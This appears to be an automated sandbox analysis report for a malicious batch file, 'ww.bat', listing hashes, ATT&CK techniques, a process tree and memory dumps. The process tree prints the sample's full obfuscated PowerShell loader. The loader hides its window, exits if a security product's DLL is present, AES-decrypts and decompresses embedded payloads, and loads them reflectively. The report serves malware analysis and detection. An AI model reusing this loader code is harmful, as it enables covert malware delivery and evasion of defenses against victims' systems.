3f3aac5794c2a2b79c0e6da9eb230e4c2131b620e883ab6e9c1b69fa34087548

General

Target

ww.bat
Size

588KB
MD5

df63b5ec4a735892084303fbf770328e
SHA1

6eb0d6eda0588cd6157a8844c5daaf40b406429a
SHA256

3f3aac5794c2a2b79c0e6da9eb230e4c2131b620e883ab6e9c1b69fa34087548
SHA512

8fc074cb243eb431cd4d10dc63dde1208c49f2700f409d4154bbc6a7b14590050caa2262f87166599a2b6cd803eb097ddd828e2e582608d029d50db029bea1ef
SSDEEP

12288:HBloXJYKzydKURaKq+gCSq1gQGNBqv+gH776JP/KIOcRoo:7YgKURcWGQH+A3+/H+o

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1080	powershell.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4864	3052	WerFault.exe	85

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3052	powershell.exe
3052	powershell.exe
1080	powershell.exe
1080	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	1080	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4244 wrote to memory of 1360	4244	cmd.exe	84
PID 4244 wrote to memory of 1360	4244	cmd.exe	84
PID 4244 wrote to memory of 3052	4244	cmd.exe	85
PID 4244 wrote to memory of 3052	4244	cmd.exe	85
PID 4244 wrote to memory of 3052	4244	cmd.exe	85
PID 3052 wrote to memory of 1080	3052	powershell.exe	89
PID 3052 wrote to memory of 1080	3052	powershell.exe	89
PID 3052 wrote to memory of 1080	3052	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ww.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\ww.bat';$pZqp='InvPTptokPTpte'.Replace('PTpt', ''),'LoCiHiadCiHi'.Replace('CiHi', ''),'CrJUeseaJUesteDJUesecrJUesypJUestJUesorJUes'.Replace('JUes', ''),'TrVbHuaVbHunsVbHuforVbHumFiVbHunalVbHuBlVbHuocVbHuk'.Replace('VbHu', ''),'CMYmOoMYmOpyMYmOToMYmO'.Replace('MYmO', ''),'SpXaEblXaEbitXaEb'.Replace('XaEb', ''),'FroNpismBaNpisseNpis64NpisSNpistrNpisinNpisgNpis'.Replace('Npis', ''),'DecoOHTompoOHTroOHTeoOHTsoOHTs'.Replace('oOHT', ''),'ReaGFEGdLGFEGinGFEGesGFEG'.Replace('GFEG', ''),'ElezxgdmenzxgdtzxgdAtzxgd'.Replace('zxgd', ''),'MaTQBGiTQBGnTQBGMoTQBGdTQBGulTQBGe'.Replace('TQBG', ''),'GetwsoICuwsoIrrwsoIenwsoItPrwsoIocwsoIeswsoIswsoI'.Replace('wsoI', ''),'ChaOuTangeOuTaEOuTaxOuTateOuTansiOuTaonOuTa'.Replace('OuTa', ''),'EnEvGPtryEvGPPEvGPoiEvGPnEvGPt'.Replace('EvGP', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($pZqp[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function qIYuI($pXYPC){$vcJFa=[System.Security.Cryptography.Aes]::Create();$vcJFa.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vcJFa.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vcJFa.Key=[System.Convert]::($pZqp[6])('RtUoResFzoC7uLDsMNXiqz+4O1P9Lz1x2usQzNAGROg=');$vcJFa.IV=[System.Convert]::($pZqp[6])('Z+pqV7++3qGGLoy90CNOvw==');$pFlAY=$vcJFa.($pZqp[2])();$IfZXr=$pFlAY.($pZqp[3])($pXYPC,0,$pXYPC.Length);$pFlAY.Dispose();$vcJFa.Dispose();$IfZXr;}function objTo($pXYPC){$IAuUa=New-Object System.IO.MemoryStream(,$pXYPC);$jblBX=New-Object System.IO.MemoryStream;$gPOxs=New-Object System.IO.Compression.GZipStream($IAuUa,[IO.Compression.CompressionMode]::($pZqp[7]));$gPOxs.($pZqp[4])($jblBX);$gPOxs.Dispose();$IAuUa.Dispose();$jblBX.Dispose();$jblBX.ToArray();}$rPjBm=[System.IO.File]::($pZqp[8])([Console]::Title);$Kypql=objTo (qIYuI ([Convert]::($pZqp[6])([System.Linq.Enumerable]::($pZqp[9])($rPjBm, 5).Substring(2))));$hvBrU=objTo (qIYuI ([Convert]::($pZqp[6])([System.Linq.Enumerable]::($pZqp[9])($rPjBm, 6).Substring(2))));[System.Reflection.Assembly]::($pZqp[1])([byte[]]$hvBrU).($pZqp[13]).($pZqp[0])($null,$null);[System.Reflection.Assembly]::($pZqp[1])([byte[]]$Kypql).($pZqp[13]).($pZqp[0])($null,$null); "
  2⤵
  PID:1360
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1080
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 1824
    3⤵
    - Program crash
    PID:4864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3052 -ip 3052
1⤵
PID:3808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_duq4lkg3.2q4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1080-38-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download
memory/1080-26-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download
memory/1080-25-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download
memory/1080-24-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download
memory/3052-6-0x0000000005CF0000-0x0000000005D56000-memory.dmp

Filesize
408KB

Download
memory/3052-4-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download
memory/3052-7-0x0000000005ED0000-0x0000000005F36000-memory.dmp

Filesize
408KB

Download
memory/3052-5-0x0000000005610000-0x0000000005632000-memory.dmp

Filesize
136KB

Download
memory/3052-17-0x0000000005FC0000-0x0000000006314000-memory.dmp

Filesize
3.3MB

Download
memory/3052-18-0x0000000006500000-0x000000000651E000-memory.dmp

Filesize
120KB

Download
memory/3052-19-0x00000000065A0000-0x00000000065EC000-memory.dmp

Filesize
304KB

Download
memory/3052-20-0x0000000006A40000-0x0000000006A84000-memory.dmp

Filesize
272KB

Download
memory/3052-21-0x0000000007830000-0x00000000078A6000-memory.dmp

Filesize
472KB

Download
memory/3052-22-0x0000000007F30000-0x00000000085AA000-memory.dmp

Filesize
6.5MB

Download
memory/3052-23-0x0000000007810000-0x000000000782A000-memory.dmp

Filesize
104KB

Download
memory/3052-0-0x000000007508E000-0x000000007508F000-memory.dmp

Filesize
4KB

Download
memory/3052-2-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download
memory/3052-3-0x00000000056C0000-0x0000000005CE8000-memory.dmp

Filesize
6.2MB

Download
memory/3052-1-0x0000000005010000-0x0000000005046000-memory.dmp

Filesize
216KB

Download
memory/3052-39-0x0000000005370000-0x000000000537A000-memory.dmp

Filesize
40KB

Download
memory/3052-40-0x000000007508E000-0x000000007508F000-memory.dmp

Filesize
4KB

Download
memory/3052-41-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download
memory/3052-42-0x0000000007A70000-0x0000000007AE2000-memory.dmp

Filesize
456KB

Download
memory/3052-44-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download
memory/3052-45-0x0000000075080000-0x0000000075830000-memory.dmp

Filesize
7.7MB

Download

Analysis

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